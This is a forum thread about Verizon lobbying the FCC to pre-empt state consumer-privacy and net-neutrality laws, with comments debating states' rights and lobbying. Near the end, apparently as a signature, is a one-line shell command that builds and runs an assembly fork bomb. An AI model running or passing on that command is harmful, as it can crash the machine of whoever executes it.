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Verizon Wants To Ban States From Protecting Your Privacy (dslreports.com)
DSLReports that Verizon sent a letter and white paper last week to the FCC, insisting that "the FCC has ample authority to pre-empt state efforts to protect consumer privacy, and should act to prevent states from doing so." Verizon's letter reads in part: "Allowing every State and locality to chart its own course for regulating broadband is a recipe for disaster. It would impose localized and likely inconsistent burdens on an inherently interstate service, would drive up costs, and would frustrate federal efforts to encourage investment and deployment by restoring the free market that long characterized Internet access service." From the report: But there's several things Verizon is ignoring here. One being that the only reason states are trying to pass privacy laws is because Verizon lobbyists convinced former Verizon lawyer and FCC boss Ajit Pai that it was a good idea to kill the FCC's relatively modest rules. It's also worth noting that ISPs like Verizon (and the lawmakers paid to love them) have cried about protecting "states rights" when states try to pass protectionist laws hamstringing competitors, but in this case appears eager to trample those same state rights should states actually try and protect consumers. Verizon makes it abundantly clear it's also worried that when the FCC votes to kill net neutrality rules later this year, states will similarly try to pass their own rules protecting consumers, something Verizon clearly doesn't want. "States and localities have given strong indications that they are prepared to take a similar approach to net neutrality laws if they are dissatisfied with the result of the Restoring Internet Freedom proceeding," complains Verizon, again ignoring that its lawsuits are the reason that's happening.
"Restoring Internet Freedom" etc etc etc You just know when they use world like this it means the exact opposite, sort of the like "Peoples Democratic Republic of North Korea"
We should make it illegal for Verizon to send shit to the FCC, period. No cash. No gifts. No threats, suggestions, hints, love letters, junk mail, or flowers. This has go to stop. Just shut the fuck up, Verizon. Shut the fuck up now.
The current climate has allowed the FCC to regulate and "protect" people's privacy. The problem with the FCC doing it is their agenda changes via administrations and corporate meddling. Of course providers are going to get testy when states take matters in their own hands and regulate things the proper way via 10th Amendment and using a legislature, instead of a regulatory independent agency and an executive branch that chooses the regulatory body which violates the constitution and opens the door for abuse. The FCC must die and states must take matters into their own hands and get the federal government out of it as much as possible. That is where true freedom is going to come from (sorry net neutrality was never that avenue) and it is the duty of the each People of the each state to hold their state government bodies accountable when they try to follow in the footsteps the federal government has shown.
States Rights are just about the only Constitutional thing protecting normal states from the corporate nazis in Washington DC.
Table-ized A.I.
Not if it's a stupid standard.
Table-ized A.I.
So far, freedom has meant allowing a destruction of net neutrality...allowing ISP to sell your browser history, and destruction of locally sourced news so some anodyne studio can put out bland non-news like radio DJs. I get that you wanted a shit disturber, but the only disturbance is allowing Companies to do whatever they want...not even a bone tossed to the rest of us. Thanks, flyover.
California has it's own standards. The EPA can go and fsck themselves. Want to sell cars in California? Meet CARB standards. Don't want to build 50 versions of cars? Make them all meet CARB. Same idea for privacy.
[Oblig. Bad Car analogy.]
Have gnu, will travel.
Verizon's letter reads in part: "Allowing every State and locality to chart its own course for regulating broadband is a recipe for disaster. It would impose localized and likely inconsistent burdens on an inherently interstate service, would drive up costs, and would frustrate federal efforts..."
This line of reasoning could also be used for taking away most of the state rights. Inconsistent set of rules across states for roads, criminal justice, elections... Taken to an extreme, UN should be making rules for everybody.
In Europe before the EU if a large corporation wanted to lobby for something unpopular it had to do it with national governments. So in the UK that meant it needed to lobby MPs. MPs are of course elected and know that, in theory if they backed something highly unpopular they could be challenged. Of course this doesn't really limit scope for corruption much in practice but there have still been cases where MPs flipped their stance on a law because of its unpopularity. Governments have failed to pass unpopular laws because of backbench rebellions. I.e. MPs who are part of the government party but didn't get a seat in government vote against the government.
Now in many ways the EU is a solution to this problem, from the of the lobbyists. Lobby at the European Commission level and you're lobbying appointed, not elected politicians who therefore don't care about public opinion. The European Commission is the body that initiates legislation in the European Parliament. It can also introduces directives which national governments are obligated to implement - the EU can take them to court if they do not. So if you're a lobbyist it's easy to get stuff pushed down from the EU level that you couldn't get passed national parliaments.
Now the US isn't quite as bad as this, but it still has the possibility for lobbyists for monopolists like Verizon to push laws down from the Federal level onto states. Quite possibly laws it couldn't get passed in one state legislator, let alone all of them. Famously most US Congress people run in gerrymandered seats where the other party has no chance of unseating them and are only vulnerable to being primaried by their own party. Re-election rates are 84-85% and yet Congress's approval rating is 15%. Of course money from lobbyists helps unpopular incumbents defeat less unpopular challengers. I.e. Federal politicians are more powerful and less accountable than politicians at the state level.
I.e. adding more layers of increasingly indirectly accountable government makes things worse for consumers, but better for monopolist corporations. Of course the ultimate for the lobbyists would be to have laws at the NAFTA level and make sure that politicians there are appointed and not elected. Only then would the US's lobbyists have created an environment as conducive to them as the EU is to their European counterparts.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
How's life in the hypocrite lane?